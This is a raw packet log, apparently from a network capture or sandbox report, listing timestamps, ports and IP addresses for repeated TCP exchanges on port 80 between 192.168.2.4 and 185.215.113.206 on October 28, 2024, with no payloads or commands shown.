Oct 28, 2024 06:27:27.118148088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118176937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118196964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118223906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118233919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118243933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118254900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118266106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118274927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118287086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118300915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118319988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118360043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118371010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118382931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118400097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118402004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118415117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118428946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118458986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118546963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118558884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118568897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118582964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118613958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118639946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118650913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118660927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.118681908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.118696928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119044065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119060993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119070053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119081974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119102955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119123936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119134903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119162083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119187117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119463921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119513035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119513035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119524956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119535923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119549036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119556904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119560003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119585991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119595051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119604111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119606018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119631052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119643927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119649887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119692087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119771957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119816065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119816065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119827032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119860888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119874001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119884968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119894981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119914055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119940996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.119971037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119982004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.119992018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.120013952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.120016098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.120033026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.120058060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.120079994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.120090008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.120100021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.120124102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.120146036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162419081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162478924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162484884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162496090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162513018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162523985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162530899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162535906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162559032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162564039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162580013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162602901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162606955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162612915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162636995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162642956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162648916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162658930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162676096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162771940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162797928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162808895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162826061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162837029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.162863970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.162878036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.243683100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243726969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243737936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243742943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.243768930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.243783951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.243877888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243887901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243896008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243905067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243920088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.243925095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243935108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243943930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243948936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.243951082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243956089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243961096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.243966103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243976116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243987083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.243993044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244004965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244014978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244019032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244026899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244050026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244061947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244065046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244076014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244085073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244093895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244103909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244106054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244112968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244123936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244129896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244133949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244143963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244148016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244153976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244165897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244170904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244199038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244219065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244230032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244239092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244255066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244262934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244266033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244271040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244276047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244287014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244296074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244297981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244307995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244317055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244321108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244328022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244338036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244338989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244349003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244364023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244369030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244374990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244385958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244395971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244396925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244407892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244419098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244430065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244436026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244441032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244452953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244461060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244463921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244472980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244473934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244492054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244512081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244899035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244909048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244919062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244942904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244966030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244967937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.244976044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244986057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244996071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.244999886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245016098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245017052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245027065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245028019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245033026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245062113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245074034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245110035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245120049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245129108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245140076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245150089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245153904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245161057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245170116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.245184898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245194912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.245220900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283010960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283024073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283035994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283127069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283138037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283154964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283164978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283175945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283179998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283190966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283229113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283229113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283229113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283229113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283247948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283258915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283262014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283262014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283277035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283286095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283289909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283293009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283324003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283329964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283340931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.283341885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283370972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.283389091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.358946085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.358968019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.358978987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359015942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359035015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359082937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359132051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359167099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359179974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359190941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359200001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359211922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359215975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359217882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359225035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359229088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359236956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359251976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359256983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359267950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359272957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359293938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359307051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359337091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359364033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359365940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359415054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359416962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359455109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359492064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359503031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359513998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359524965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359529972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359538078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359546900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359555006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359565973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359577894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359595060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359607935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359610081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359636068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359648943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359671116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359680891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359694004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359715939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359729052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359791040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359802008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359816074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359827995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359833956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359841108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359850883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359852076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359878063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359901905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359903097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359919071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359929085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359940052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.359941006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359954119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.359977007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364250898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364300013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364326000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364341021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364362001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364376068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364383936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364387989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364399910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364415884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364428997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364440918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364445925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364453077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364464998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364475965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364475965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364501953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364526987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364552975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364588976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364619017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364631891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364658117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364672899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364680052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364692926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364717007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364732981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364751101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364768028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364779949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364789009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.364792109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.364801884 CET	49758	80	192.168.2.4	185.215.113.206
